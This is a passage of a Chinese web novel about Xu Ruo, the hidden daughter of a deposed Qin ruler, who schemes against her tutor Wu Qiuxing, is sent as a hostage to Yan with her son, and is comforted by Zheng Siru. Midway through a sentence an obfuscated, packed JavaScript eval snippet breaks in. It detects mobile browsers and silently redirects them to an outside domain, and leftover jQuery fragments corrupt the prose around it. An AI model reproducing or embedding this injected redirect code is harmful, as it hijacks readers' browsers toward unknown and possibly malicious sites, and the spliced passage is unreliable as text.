“美事?你恶心谁呢?”徐若从他手里夺过鱼食,“我这宠妃是当不成了,如今他知道我是谁,哪还有脸宠幸我?” 吴秋行手中被她抢的只剩些食渣,他一脸冷淡地清理手掌,问她:“你有脸勾.引他,他怎么没脸宠幸你?” 徐若收起满脸肆意的笑容,走到他身旁,扯扯他衣袖,双眼一红委屈道:“吴先生,你以往从不会这样对我说话的。” 吴秋行见惯她这副虚假柔弱的样子,如今看了只觉得头疼,他拂开那手,“美人自重,这些技俩还是留给君上罢。” 徐若未得寸也要进尺,她不扯他的衣袖,反而握住他的手,软着声音说:“我早不知自重两字怎么写了,先生教教我?” 吴秋行也不再躲闪,低头望那声暖眼冷的女子,“似你这样嘴里没一句真话的女子,他没杀你,实是令人意外。” “他为何要杀我?那些药,不过是些强身健体的药,是先生大惊小怪,搞得君上也大惊小怪,真是吓死人了。” 吴秋行闻言冷笑道:“你该庆幸,你还不至于那么愚蠢,若真是毒药,此刻的你,怕已经是一具冰冷的尸体。再说,是什么药已经不重要,重要的是君上知道你在宫外有人,重要的你的身份已经暴露,重要的是他不会再信任你,你复不了仇了。” 徐若握着他手的力度愈发加大,掐着他的掌心肉道:“不是我愚蠢,是你太多事。安安静静当个旁观者不好么?我不过放只鸽子试探试探你的态度,你就把我一股脑捅给他,你可真狠心。” “我早说过,你若执意杀他,我对你便不会心慈手软,一点异动都不行。” 徐若心中极不是滋味,终是酸溜溜问了句:“在你心中,他就这么重要?我死了也要保他?” “不是他重要,是秦国重要,他不能死。” 徐若敛眸,思忖片刻,转眸问他:“那……若我不杀他,先生对我,可还能如往昔?” “什么意思?” “先生昔年曾求娶我,亦说爱怜我,如今我不再与先生作对,先生可愿救我于水火之中,让我脱离这深宫高墙?” “你的话只有两个字能信。” “哪两个字?” “作对。” 吴秋行说罢,便转身离去,徐若赶忙拦住他,“我是说真的,我一人在这秦宫无依无靠,如今又失了君上宠爱,复仇无异于痴心妄想,还不如……圆了年少痴梦,去侍奉先生。” 女子目如秋水,言辞恳切,语间深情难抑,倒真一番真心悔过的姿态。 吴秋行不语,她继续道:“如今我难再翻盘,先生神机妙算,我无论如何是斗不过先生的。只求先生再怜惜一次,我从此远离秦宫,这样……岂不是两全其美。难道,先生就不想成全我们这段曾半途而废的姻缘么?” 她的手悄悄抵上他的胸膛,楚楚可怜望着他,眼神里满是眷恋敬仰。 吴秋行望着她,没接受也没拒绝,只说道:“徐若,你可想好了,若敢算计我,最后输的一定是你。而且,我将永远不会再信你一个字。” 徐若低头作思考状,半晌,她点头,“我想好了,我是真心要离开这里的。” * 吴秋行助徐若伪造走水,诈死出宫。 她的离开让整个秦宫都松了口气,她的公子朗也被过继给卫姬做嫡养子。 从秦宫到吴府,不过是从一个精致的牢笼奔赴另一个精致的牢笼。 甚至,吴秋行还不如秦王待她温柔。他那样的人,面上风平浪静,但心中却有万般计较。她曾经的拒婚、戏弄、挑拨、勾引……让他对她那些年少初遇的悸动也变成爱恨掺半的情.欲。 伴随着毁灭的疼爱,夹杂着惩罚的怜惜。 她是从宫里出来的,见不得光,只能被囚在小小一间屋中,当这屋中最娇艳的一个摆设。 她喜欢倚在窗边,看着后院一成不变的风景,一边修剪花枝,一边低声念《蒹葭》。 “蒹葭苍苍,白露为霜,所谓伊人,在水一方。” 多年之前,她跟娘和兄长被父亲从卫国接回秦国,路上恰巧遇见被卫人欺负的吴秋行。 她一时好心,把他救下,带回秦国。 吴秋行是卫国落魄贵族后裔,因得卫国公主喜爱,被那群真正得势的贵族纨绔记恨。 她那时很小,牙还没换好,便不知天高地厚地和他说:“卫国公主算什么,我秦国公主保下你了。” 吴秋行跟着她回了秦国,因她喜爱,先秦公便让他做了她的教书先生。 她幼时身子弱,几乎足不出户,秦国宗室只知道有这么个公主存在,却没什么人见过她。 她在宫里闷得慌,成日能见的人除了爹娘兄长,就是吴秋行。 吴秋行教她念书,教她写字,教她识乐,教她骑射。 她渐长,对他有孺慕之情,也有些别的。她向来厚脸皮,且秦国女儿从来直爽不矫情,便大咧咧地和他告白。 他没正面回应,只给她念了一首《蒹葭》。 人家想搞暧昧,她以为他们已经在一起了;人家话还没说定,她连孩子名字都想好了。 后来,吴秋行和她说,他身份低微,不堪配她,何况她还年幼,不明白男女之情是什么。 她怒了,什么狗屁话,这叫什么事,她朝父亲撒撒娇,这婚事必能定下。 吴秋行再三拒绝。 拒绝就拒绝吧,谁还非谁不可了?她哭了一把,也没再伤心。 最是无忧少年时,爱也纯粹,爱也炽热,从不怕心意打水漂,伤了也能重来,怕什么? 爹宠娘爱兄长疼,她从不认为自己人生会遇到什么难跨过去的坎。 因为在她眼里,父亲只是父亲而已,兄长只是兄长而已,不是“秦公”,不是“世子”。 可事实上,在绝大多数秦人眼里,根本不关注他们是不是好父亲、好兄长,只关注他们能不能当好国君。 如今再次回想,也许是因此,吴秋行那时才不会接受她的心意。 也许他料到这个结局——先秦公可能很快就会从那君座上跌落。 吴秋行拒绝她心意不久后便向她辞行,消失在茫茫人海。 这也无可指摘,有些人对朝堂风向天生就敏感,把握得极准。 先秦公在秦人和臣工眼里,是昏庸无能、刚愎自用之辈,查阅如今的秦史,可看到秦国苦他久矣。先秦公搞民生民生不行,搞军事军事不行,百姓穷得穷死,自己的享受从未断过,就这样的国君,竟还想清剿宗室势力,竟还敢碰那些关中贵族。 先秦公只有一个不成器的儿子,连嫡系的兄弟都没有。就这样,还敢碰那些一个比一个凶的宗室大臣。 史家曰:不要命。 宗室中,栎阳君郑擎势力最大,名望最高。 先秦公以为这是一个大靶子,想拿人家开刀,却没发现,这是最利的那把剑。 先秦公玩火自焚,郑擎帐下文臣撰写了洋洋洒洒数篇檄文,打着“国君不义可代之”的名义,与宗室子弟把先秦公一脉清理干净了。 正义之师成功上位,历史耻辱暗淡下台,布衣百姓拍手称快。 再过几年,为以绝后患,如今秦王,曾经的栎阳君、公子擎,也和先秦公做了同样的事——清剿宗室势力。 他比先秦公贤名能干,先秦公做不了的事,他能做。 他能给国家和百姓带去富强安乐,所以,吴秋行后来归了他的朝廷。 多年之后,史家手笔,谈起他打压宗室之事,只会赞一句“杀伐果决”。 杀伐果决的背后,身为先秦公遗孤的她,肉眼所见并非格局、权谋、家国天下,而是人命的消亡、至亲的离去,是还温热的血。 那曾是她父亲的秦国,那君座之上曾是她父亲。 她之所以能逃过一劫,主要因为那些士兵没有补刀。那一日,说来也可笑,她玩心大起,正在给自己的侍女梳妆打扮,那些兵就忽然闯进寝宫。傻子也看得出,他们的兵刃主要针对的就是她娘和那个穿了华丽衣服的倒霉侍女。 那侍女还没来得及尖叫,就被捅了几刀,死得狰狞。 她娘更惨,血喷到房梁上,也溅到她脸上。 她穿得朴素,被当成侍女,只捅了一刀,就算完事。 她醒来,发现自己被丢到了乱葬岗,身边都是一些在世时身份低贱的仆人侍女,并未见父母兄长。 再傻也知道秦宫回不去了,她边哭边从山野乱葬岗跑到城里。 一个鲜少出门的贵族少女,哪里又知外面的险恶。 她遇到了一个给她饼吃、给她疗伤的老婆婆,对那婆婆百般信任。 然后,这老婆婆就把她卖到了宋国舞坊。 “这么好看又娇生惯养的姑娘,自是比其他乡野丫头卖得贵些。” 娇生惯养的姑娘,流落在醉生梦死之地,再学不得经史子集、骑马打猎,只能学怎么跳舞、怎么唱歌、怎么卖笑、怎么讨人欢喜。 不想学时也不是撒撒娇就能不学,迎接的往往是一顿毒打。 玫瑰不仅要被拔掉刺,还要被踩到泥里。 被踩到泥里的那朵花,还是原来那株玫瑰吗? 再后来,她被宋臣相中,带回宋宫,和其他如她一般美丽的女子一同送往列国,做修睦结好的礼物。也隐隐有一些,卧底的意思。只不过她没有父母兄弟,也就不会被宋国钳制。 她主动提出要去秦国。 那是她的国,她的故乡。君座之上,是她的族叔,是她的仇人。 后来成了她的枕边人。 她原是想寻机会杀了他,可那太难,他并不完全信任她,她也找不到下手的时机。 这还不是最可怕的,最可怕的是,她能听到上至臣工下至百姓对他贤明的称赞,也能听到他们对她父亲的批评质疑。这让她无时无刻不处在一种煎熬中。 不杀秦王,她不配为人子女;杀了秦王,她愧对秦人秦国。 她甚至在想,为什么那天她不穿的华贵一些,让那些士兵把自己捅死好了。不是说斩草除根么,怎么就留她这么一个先公遗孤?让她面对这样一个无从下手的选择。 转机自她怀孕开始。 谋人命不成,不如谋一国。倘使她把秦国从他手里夺了回来,也算是保全父亲这一脉。 至于秦王是否会有其他子嗣……从后宫其他人多年无所出,便可看出。 她身上熏的香,男子不能多闻,更何况九年同榻而眠的浸染。他原本就难让人受孕,再由她雪上加霜,这支血脉怕是再难传承。 所谓的“宸儿”,是他多想了。那日干呕,不过是她开始厌倦这虚假的应对。 …… 最后,走到今天,吴秋行把她从秦宫中“偷”了出来。 可怕又可笑的是,这“宸儿”成了真的,只不过,不姓郑。 吴秋行问她,想生下来?她点头。 他说,好,那随你。 即便怀有身孕,吴秋行防她也防得极严。 整个吴府都很谨慎,客人来往从来只用代号,不用真名。记他的人情往来,比记秦王的家国大政还难。 光他接触的“卫国商人”就不下三个,“卫国使者”不下五个,他与燕国王室亦有来往。 她分不清哪些是秦王授意下的联络,但她知道里面一定有他私心的部分。 起码朝堂明面上是禁止官员与外使私下往来的,她曾利用卫姬和吴秋行的私下联络向秦王吹过耳旁风,秦王有所不悦,就说明他这些联络是断断不敢放上台面的。 既然放不上台面,那就能成为把柄。 孕七月,她说她实在太闷,想在城中走走。她会戴上帷帽,不让人看见真面目。 吴秋行虽然允诺,但也自然派人与她随行。 途中,她假装即将发动生产,支开那些侍卫,又趁不注意,将婢女双腿刺伤,摆脱他们的钳制,而后独身一人疾步往秦宫走去。她用秦王曾赏她的玉佩作为信物,让守门将领带去议政殿给秦王看,并让他们带句话,就说“罪妇徐氏,有事启奏,事关秦国百年社稷”。 她几乎可以想象出,议政殿上,内侍通传时,吴秋行的表情。 一定精彩极了。 她被士兵带了进去,百官已退,只留了几个近臣。 大殿上,秦王在上,吴秋行面无表情地站在左侧,郑思如微皱着眉头思考些什么,看她被带进来,俊秀的眼眸中暗自翻涌着复杂的情绪。 徐若敢轻轻笑着直视吴秋行,敢在直视秦王的同时装无辜装可怜,可她一点都不敢直视郑思如。 在黑暗里待的久了,便有些害怕直视光明,那光能把人心中所有污秽肮脏照得无处可躲。 “徐美人,你不是死在火中了么,怎么又出现了?”秦王微眯着眸,语带些微微的兴味。 徐若把吴秋行卖了个干净,说自己一时鬼迷心窍,受他蛊惑,才跟他走了。可后来在吴府发现他身在秦国心在卫,暗地里和卫燕两国人氏往来频繁,便心生怀疑,恐他对秦国不利。 “君上……既已知妾身份,那么,就会知道,妾虽对君上有恨,可总归和君上一样,是地地道道的秦人,绝不会对做有害秦国的事。”她一边说着,一边将记载吴秋行私下联络过的人的绢帛呈上。 她感到吴秋行的目光,心中暗叹:哎,若此时只有他二人在此,吴秋行怕是能活活掐死她。 可是,他毁她九年筹谋,对她不心慈手软;她也能不顾他主天下之大计,对他说翻脸就翻脸。 何况,她和秦王说的那句话是真心的。 就算吴秋行对秦国没有二心,但凭他后来辅佐她的仇人这一点,她便恨上他了。更何况他若有二心? 秦王越看那绢帛,面色愈发凝重。 他面色凝重,殿上气氛就凝重,连呼吸声都是吵闹。 秦王自然不会当场说怎么处理吴秋行,他只是抬头看向徐若,“寡人知晓,那你呢?你回来,想寡人如何对你?” 她垂首一笑,“君上还曾给妾腹中孩儿赐名为‘宸’呢。” 吴秋行的眼神冷得能结冰。 他眼神愈冷,她心中笑得愈开怀,她甚至能听到那尖利的笑声像一把刀,把她和他都割得面目全非、血流成河。 秦王揉揉头,支使侍卫,“把徐美人带到夕静苑,别让人打扰她。” 夕静苑,其实就是冷宫。 别让人打扰她,就是让她自生自灭。 侍卫带她离开,经过郑思如面前,她知道他在看她,可她依旧不敢应对那视线。 至于吴秋行,凭他狡辩脱罪的功力,死是不会死,只是他可能很快就要远离秦国军政中心。 值了。 狂热的赌徒,漂亮的疯子,在复仇的树上,横生绝望的枝丫。 * 夕静苑一日三餐还是有人管的,只不过庭院破败,没有仆役,清理打扫皆需要她亲力亲为。 恰是秋日,落叶满地,满眼萧索。 徐若坐在门边,用一根细长布条在双手中编成网,她举起手,让天光从细网中透过,斑驳洒在自己脸上。 而她,透过这张网,眯着眼望着秋日不太温暖的太阳。 看着看着,唇角不自觉泛起一丝笑意。 郑思如从侧墙翻进来后,看到的就是这样的画面。 天蓝云白,一地秋黄,穿着有些发旧的朱红曲裾的女子坐在灰石阶上,双手将碎花蓝布条编成网,举着对着金色的太阳。太阳的光芒,洒在她雪白的脸上,温暖又纯净。 褪去簪饰粉黛,依稀有少时无邪模样。 这样就很美啊。 他看着这样美的她,一步一步,走到悬崖边上,他却不知该如何救她。 到底是她自己想走到那儿去,还是被命运逼着往那儿走。她不愿说,他也不想揭她伤疤去问。 他走到她身旁,看见她身旁堆了许多茉莉花,她身上也散着淡淡的茉莉香。 以往是玫瑰,香变了,人还是那个人。 徐若放下手,把布条收起来,对他道:“呀,你来了。” 自她被打发来夕静苑,也只有他会来看她。 第一次来的时候,他是有点生气的,因为她没说一声,就假死了。他说他知道她一定还活着,可是他找了很多地方也没找到她,很难过。他只能埋头政务,从大良造又升了一级,成了大庶长。 她觉得他很可爱,她听完后既愧疚又想笑,还有一丝敬佩。 他说,她以后搞什么幺蛾子,提前一定要告诉他。 她说好。 她人生里出现的最意外的人,陪她渡过这段寂寥落魄的时光。 郑思如放下食盒,说:“他们给你的饭菜难吃得很,我来给你加餐。” 他打开食盒,一盘一盘去出来,耐心地和她讲解,说这是某某居的烤羊肉,那是某某铺的糖包,还有哪里哪里新采摘的新鲜果子。 她望着他,托腮问道:“郑思如,你说,世上怎么会有你这么好的人?” 郑思如嗯了一会,“也许,我是老天派来给你送温暖的。” 她笑道:“那你也太惨了,我这种人,是不配得到温暖的。” 郑思如把糖包塞到她嘴里,“吃吧,话真多。” 徐若吃着吃着,含糊不清问他:“你不是想知道我的过去么?我今天心情好,可以讲给你听。” 郑思如嫌弃地把她脸上一粒面屑拿下,“你不想讲就不要勉强。” “我想。”她对他笑笑。 ”那你讲吧。“他坐到她身旁,给自己斟了杯酒。 她说:“其实我本名不叫徐若,我叫郑芙君,小名才叫若若。芙君,就是……就是芙蓉君子的意思。” 可惜后来,没长成出淤泥不染、濯清涟不妖的芙蓉,就更别提君子。 她将她的过往讲给他听,心中一半是害怕,一半是解脱。 他很认真地听着。 她侧过脸,对他说道:“你是不是觉得……我挺恶心的。其实我也不知道怎么会走到今天这样,原本我只是想杀他,后面我想把秦国争回来……可是……在这过程里,我做了很多我回想起来,觉得很难接受的事。就连……就连我年少喜欢过的那个人,如今我和他之间也只剩互相厌恨,我看他面目可憎,而他看我估计也想生啖我肉……他为什么一定要帮我的仇人?我爹为什么一定要死?我到底为什么会变成现在这样?是不是一开始我就不该复仇,或者我一开始就不该活这么久,我应该和我爹娘死在同一天,我应该见他第一面就捅死他然后再被侍卫捅死……走到今天,我觉得我很失败、很悲哀……我觉得自己可能要疯了……” 她原是笑着说的,可越说,就越发控制不住自己的表情。她感到脸上的温热,有些慌乱地拂去那些泪水,边笑边哽着说:“对不起啊,我……我其实很少哭的……因为我哭起来真的很丑……” 郑思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137539|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如拍拍她的背,安抚她的情绪,“若若,你没疯。我能理解你,你想复仇,却不想毁秦国。你放心,我很听你的话,如今我在朝中也有些势力,而且因你揭发,吴秋行已与秦王生了嫌隙,秦相之位悬空,我会去争取,我日后一定会极力扶助公子朗,让他坐稳那个王座,让他不受其他派系钳制,成全你的心愿。” “为什么啊?”她问他。 郑思如没反应过来,“什么为什么?” “我在利用你,我一直都在利用你,你不知道吗?为什么这么听话啊?你没必要这么听我话的。我连自己都活不明白,我有什么能力指使别人?” 郑思如闻言并不意外,赶忙擦掉她的泪,“不哭不哭,我知道。但……在我心里,你一直都是我的公主,我来做你的臣下,公主有令,臣下岂敢不从?你说,是不是这个理?” 他这么一说,徐若哭得更加厉害。 她说:“是个屁。” 郑思如手忙脚乱给她擦泪,叹道:“好吧,我告诉你为什么。其实在很多很多年前,我们是一对神仙眷侣,但是你的神仙爹不同意,他说你要是敢喜欢我,就罚你下凡历十世情劫,尝遍人生八苦。你那神仙爹跟我打赌,说我绝不可能忍受凡间的你,我不服,因为我觉得无论你变成什么样,你都是最初的那个你,更何况,你吃这些苦,都是因为喜欢我。所以,我听你的话,是因为我欠了你,你不必挂怀。” 她说:“你放屁。” “哎……别说脏话,乖。” “我那爹真不是个东西。” “嗯,我喜欢听你骂他,他真的不是个东西。” “郑思如,你真会编,你怎么这么能编?” “我没骗你,若若,你是天上的仙女,地上的公主,是我眼里最美的姑娘。不论怎样,只要你肯看过来,我一直都在的。” 徐若终于忍不住,埋膝痛哭起来。 * 这年冬,公子宸诞生,大雪皑皑。 为稳固秦燕邦交,秦燕互换质子。 徐若带着郑宸,在这样的寒冬里,被送往燕国,由郑思如相送。 临行前,她见了秦王、吴秋行、卫姬和公子朗。 她与秦王自然不可能再像以前那般亲密,既然都知道彼此身份,也不必再躲躲闪闪。 她说:“谢君上不杀之恩,君上对我,始终还是有些怜惜之情。” 秦王没正面回应,只嘱咐她说,燕国不比秦国,冬日寒冷,记得添衣;远在燕国,不要忘了对宸儿的教导。 秦王给她了许多随行侍臣。 在夕静苑时无人管无人问,远去质燕却被嘘寒问暖,她心中觉得有些讽刺。 秦王让她走上前,她照做。秦王却握住她的手,说:“寡人没记错的话,你叫芙君。” 她扯出一个笑,“贱名恐污了君上之耳。” “此名不贱,有大贵之兆。”秦王又道:“寡人已经册立朗儿为世子,待寡人百年后,他便是秦国的王,而你,会和卫姬一样,成为秦国太后。” 她默默听着,“君上何意?” “寡人知道,此次让你去燕国,你心中必有怨气。寡人也是不忍的,可于情于理,你和宸儿去,最是妥当。若你愿意将宸儿过继给他人,寡人可以派其他妃子去。” “不必,妾已经失去了朗儿,不想再把宸儿交给别人。宸儿去哪,妾就去哪。” 秦王望她许久,终是叹道:“芙君,是寡人欠你的。” 徐若摇摇头,把自己的手从他手中抽出,而后告退。 见吴秋行是个意外。 她原本这辈子都不想再见到他。 一段少时早该结束的短暂感情,不该牵扯到权力漩涡中,变得这么面目不堪。 你揭发我,我揭发你,看着可笑。 吴秋行说:“美人折腾许久,也没把我弄死,很遗憾吧?” “遗憾,也不遗憾。起码如今秦相姓袁,不姓吴。” “那又如何?再给我十年,君上最信任的,依旧是我。” “换一个君上,最信的还会是你么?” “美人放心,公子朗极信任我。” 徐若冷淡地“哦”一声。 “我是极力主张美人与公子宸质燕的,希望美人顽强些,在那苦寒之地活久些。” 不知为何,徐若觉得自己面对他的挑衅或刻意拱火时,已经可以心如止水、毫无波澜。 不知道是因为经历了这些事,心变老了。 还是,心里终于因另一个人,种下了光芒,于是不愿再和黑暗缠斗。 她只是笑了一下,便去卫姬那处探望公子朗。 公子朗也长大了。 可他对生母的印象极为淡薄,他眼中,秦王是寡言重威的父亲,卫姬是温柔天真的母亲,吴秋行是足智多谋的老师。 徐若,这个众人口中的秦国祸水,只是个普通的陌生人。 他不会亲近,也不会讨厌,只会彬彬有礼地请安,说声见过徐美人。 即便徐若为了生他,险些丢了半条命。可生恩毕竟不如养恩大。 到底是母子缘分浅薄。 徐若不在乎他不亲近自己,可她在乎他对吴秋行和卫姬的亲近。 她不能生出一个亲近卫国的儿子。 不过,这个儿子的身子太过孱弱。 她和卫姬用膳短短时刻,公子朗咳嗽数次,卫姬十分担忧地安抚他数次。 卫姬说:“这孩子,从小就这样,真让人担心。” 徐若看着她忧心忡忡的样子,有些恍惚。 启程的日子还是到了。 她抱着宸儿登上车辇,回望一眼秦宫,然后回望一眼咸阳城。 去国离乡,也非头一次。 更何况,到底哪里才是她的故乡。 离开秦国的路上,她却还有些欣喜,因为为保她与质子安全,秦王派郑思如来护送。 当然,郑思如去燕国,本身也有事在身。 车辇行月余,抵达燕国,拜会燕王后,在燕国都城襄平安家。 燕国的雪下的很大,比咸阳城里的雪要凶猛。 白得猛烈,白得骇人。 枯树简宅,再不能食不厌精、脍不厌细。 徐若很清楚,在此住下,少说五年十年,多则魂归燕地、难返故乡。 可她没有选择。 郑思如与燕王谈完事后,便来见她,说:“我没办法陪你,你一定要好好照顾自己。一有机会,我就过来把你接回秦国。” 她笑着拜他,“好的,我知道了,相国大人。” 他在朝堂之上很严肃,战场之上也很英武,只不过在她面前,永远都是这么温柔。 他牵着马,准备归秦,她要送送他。 二人走出院子,她说:“现在我相信你的神仙之说了,因为你真的是神仙。” “怎么如今又信了?” 她嘻嘻一笑,一把扯掉他的假胡子,“因为你从来就没变老过,你看,连我眼角都有细纹了,你还是这么年轻,跟我第一次见你时一模一样。” 郑思如摸摸自己嘴边,“若若,别闹,把胡子还我。” “不要,我要看美男子,不想看大叔叔。”徐若把胡子握在手里,背着手说。 两人有说有笑,走到林前。 “再往前面走,你就找不到回去的路了,就到这吧。”郑思如对她道。 她嗯了声,乖巧地点点头。 “你信我,我一定尽快把你接回去。” “我信你。” 郑思如跨上马,和她说:“那我走了。” 她笑着点点头。 他扬鞭策马,踏雪而去。 她看着那身影渐行渐远,她怔怔地宛如在做一场梦。 忽然,那个梦醒来。 她的脑子忽然清晰。 郑思如走了,燕国真的就只剩她和宸儿相依为命。 ——别走! 脑海中忽然铺天盖地充满着两个字。 有些感情压抑太久,一旦决堤,便席卷全身。 别走,别留下她一个人。 她没来得及多想,朝着他的背影,在冰天雪地里,一往无前地跑过去。 西风飒飒,割得人脸疼耳朵僵。呼出的白气模糊了双眼。 她还能看见那个策马而去的背影。 思如,别走。 思如,带我走吧。 思如,别留下我一个人。 她拼命地向前跑,拼命地向前跑,她大声喊他的名字。 “思如!” “郑思如!” “思如!!!!!” 她把嗓子喊哑,把腿跑疼,呼吸急促地仿佛下一刻就要昏厥。 “我想跟你走,带我走吧!” 她的声音被呼啸的风和铺天盖地的雪掩埋。 白茫茫之中,她渐渐看不见他的身影。 茫然四顾,不知身处何处。 从什么时候开始,她再也找不见他,她也把自己弄丢。 她看着四面皆类似的枯树白雪,抹了把泪,继续往前跑。 一个没注意,踩到隐藏在白雪下的岩石,狠狠摔了一跤。 雪又冰又冷,下面的碎石扎得人疼。 她的赤色棉制衣裙,被雪打湿,变得又潮又冷又重。她的头发沾上雪水,湿冷粘在脸颊上。 晶莹的雪花落在长睫上,融化成水。 泪水与雪水混合在一起。 她追不上他了,也起不来了。 她想,如果她的父亲是位英明的君主,该有多好? 她想,如果郑擎没有夺位,她一家没被杀,该有多好? 她想,如果少时出现在她人生中,那个让她心动的是郑思如该有多好? 为什么在她的人生满目疮痍的时候,他才出现,像一个虚幻的梦境。 她真得很想放下一切跟他走了,她动摇了。可她还有宸儿,她还没看到秦国易主那一日。 她是个失败的人,不应该再苟活在世上。 她闭上眼,躺在雪中,任四肢变得僵冷。 不知过了多久,忽然有一个温暖的手掌抚上她的额头。 “怎么……把自己弄成这样?” 她猛地睁眼。 “我不放心,想回来再看一眼,结果就看你倒在这里。” 她唇冻得乌青,说不出话来,睫上雪水也凝成微霜。 他想把她从那滩雪水里抱出来,她有些惊惶,微哑着嗓子说:“别碰我,我脏。” 她感觉到他呼吸微滞,下一刻,她被紧紧抱在他怀中。 一个特别、特别温暖的怀抱。 58. 秋风生渭水(7) 58.秋风生渭水(7) 徐若心中有万千言语想说,但在此刻,她只贪恋这一方温暖。 “我要是不回马,你怎么办?摔成这样,额头都青了,你看,手上还有血痕呢。”头上传来他有些无奈的声音。 她仰起头,朝他有些傻兮兮一笑,双手有些讨好地攥住他的衣襟,微微扯了几下。 他不是温润的长相,他的眉目比秦王和吴秋行都要凌厉,可他的眼神语气却比任何人都温柔,是她这十几年来人生里唯一真实的温柔。 见她这模样,谁又能说出重话,郑思如唉了声,道:“算了,服了你,还能站起来么?” 徐若点点头,又摇摇头。 “嗯?” 她笑了声,“我要抱抱,才能起来。” 郑思如闻言,忍不住也笑了起来,“别闹。” 话虽如此,他还是把她横抱起来,只不过抱起来的瞬间,他心中微痛。 太轻了,明明是寒冬,穿着厚厚的棉衣,还是这么瘦弱,比雅若和小若都要轻。 徐若搂着他的脖子,他抱着她往她的宅院一步步走回去。 她问:“思如,你喜欢吃什么?” “吃什么无所谓,主要是有好酒。” “那你知道我喜欢吃什么吗?” “吃甜的,尤其是各种花做的糕点。” “这你都知道?” “这有什么?我知道的多了去了。我还知道你生于仲春第一日,喜欢的花是莲花、海棠和茉莉,喜欢的颜色是白色和金色,对月亮、太阳、天空和大海有莫名的好感,看着它们发呆可以发一整天,喜欢幻想喜欢玩,内心敏感又多情,跟个孩子似的。” 徐若被他说得不好意思,反问道:“嗯……原来你知道这么多,那你呢?你是什么时候生的?喜欢吃什么?喜欢什么花?喜欢什么颜色?” 郑思如活了那么些年,早忘自己什么时候化成人形,“什么时候生的……这不记得了,大约是暮秋时节,喜欢喝酒,喜欢莲花,喜欢金色红色。” “那咱们很像嘛。” “谁和你像?我比你成熟多了,起码不会这么狼狈摔在大雪地里。” “摔雪地里怎么了?只许宋人守株待兔,不让秦女守雪待君?” “这什么玩意儿?” “要是我每次摔在雪地里,你都会出现把我带走,那我多摔几次也没什么关系。” “……胡闹。” 美好的时光总是格外短暂,眼见行至宅院,徐若便下来自己走。 “原是送你,结果你又把我送回来了。” “不必送我,你赶快回屋换身衣服,把自己擦干,免得着凉。” “好。” “我走了。” “……好。” 结果两人互相望着,谁也没动。 “你先进屋,我看着你进屋,我再走。” 徐若答应了,她的心情也不似第一次分别时那么难受,只是惆怅之情依旧萦绕心头。她走到院门前,再回身望他一眼,挥一挥手,推门进去。 郑思如见她听话进去,便放下心离去。 他离去时,院门开了条小小的缝,徐若从那缝中悄悄看着他渐行渐远。 送君千里,终有一别,天地之间,唯流风逝水能无此恨罢了。 * 在燕国,她对郑宸呵护备至,几乎把对郑朗的母爱和期盼也都弥补性地加诸他身上。 郑宸稍大时,她就开始严格教导他。文上,列国经典、诸子文集一个不可落下;武上,她嘱咐专门的武师傅对他严加训练;君子六艺,一个不可落下。再大一些时,她便开始和他讲列国风物,秦国内政。 她对他说:“宸儿,你是秦王之子,先公之孙,当具秦人之傲骨、王室之气魄、君子之学识,做个堂堂正正、光明磊落的男儿郎。” 郑宸却问她:“娘亲,孩儿的父亲是王,那孩儿以后也会是王吗?” “宸儿不会是王,宸儿将成为王臣,未来的秦王是你的亲生兄长。” “那为什么兄长没和我们在一起?” 其中曲折太多,徐若觉得这对一个孩子而言太难理解,于是轻描淡写回他:“你兄长自幼长于王后身边,所以没和娘一起来燕国。” 郑宸若有所思,“娘亲曾说过,嫡庶有别,王后是嫡,王后养子就是嫡子,兄长是依仗卫国王后的身份才名正言顺即位的。同时,王后是卫国人,兄长的老师也是卫国人,那待到兄长即位时,必对卫人有所优待,秦国或会和卫国再起联盟。” “宸儿说的很好,怎么了吗?” “孩儿记得,娘亲不喜欢这样。” “嗯……所以宸儿长大后,要替你兄长把控好朝政,不能让卫人替我秦国做决定。” “所以孩儿应该亲近袁相国。” 徐若揉揉他的头,说:“宸儿很聪明,娘亲有一份名单,在名单上的叔叔,你以后可以多亲近。” 郑宸少年老成地叹息,“娘亲,好麻烦啊。” “宸儿不想入朝为官吗?其实娘不想强迫宸儿,宸儿如果不愿,也可以做任何想做的事。” 郑宸摇摇头,眼睛亮亮地回她:“娘亲,如果孩儿是王,就不会这么麻烦。卫人把持朝政的情况,从一开始就不会出现。” 徐若微怔,而后失笑道:“宸儿,嫡庶有别。” “嫡庶有别,贤愚亦有别。孩儿日后必定发奋读书,勤勉克己,让娘亲当真正的王太后。” 郑宸年幼,眼中势在必得的意气叫人看了却有些心悸。 徐若低声教育他:“宸儿,这话在娘面前说说也就罢了,千万不可在他人面前妄言,否则你我将会遭受杀身之祸。” 郑宸冲她乖巧一笑。 郑宸容貌与她十分类似,细眉杏眼,唇红齿白,就连那颗痣的位置都一模一样。在他这年纪,便是极其可爱的男娃娃。笑一笑,显得十分乖巧和顺,让人难以生出猜疑和恶感。 和他母亲一样,气质中带着一种极具欺骗性的天真。 在燕国的岁月很漫长,但因有郑宸,徐若也不那么枯燥无聊,甚至她还有些喜欢上这样规律又简单的生活。 郑宸十一岁这年,迎她母子回秦的王旨被传到襄平。 原因有二:一,秦燕联军攻打齐国,爆发轰动一时的即墨之战,战后由于地盘之争,秦燕联盟有破裂前兆,燕国质子已潜逃离秦。二,秦王头痛之症日益加重,身体已是强弩之末,临终前,想见他们母子一眼。 接他们回秦国的不是郑思如,是他手下一名将军。 将军说,郑思如正在齐国谈判,一时无法赶回秦国。 一路上,徐若车辇受到几拨燕人的暗中拦截,死了许多随行侍臣,好在将军武艺不凡,将母子二人平安送到咸阳城。 再次看到秦宫,徐若心中百感交集。 这是她第三次见秦宫。 当她还是个女童时,她与母亲兄长质卫返秦,在车辇上遥遥望去一眼,觉得这秦宫古朴威严,宏伟极了,一想到她将在秦宫中当一位尊贵的公主,她开心得不行。当她是个少女时,她作为宋国送给秦公的舞姬,再次看秦宫,便顾不得欣赏它的宏伟,只觉得这是个可怕的牢笼,即将释放她的仇恨,囚禁她的青春。 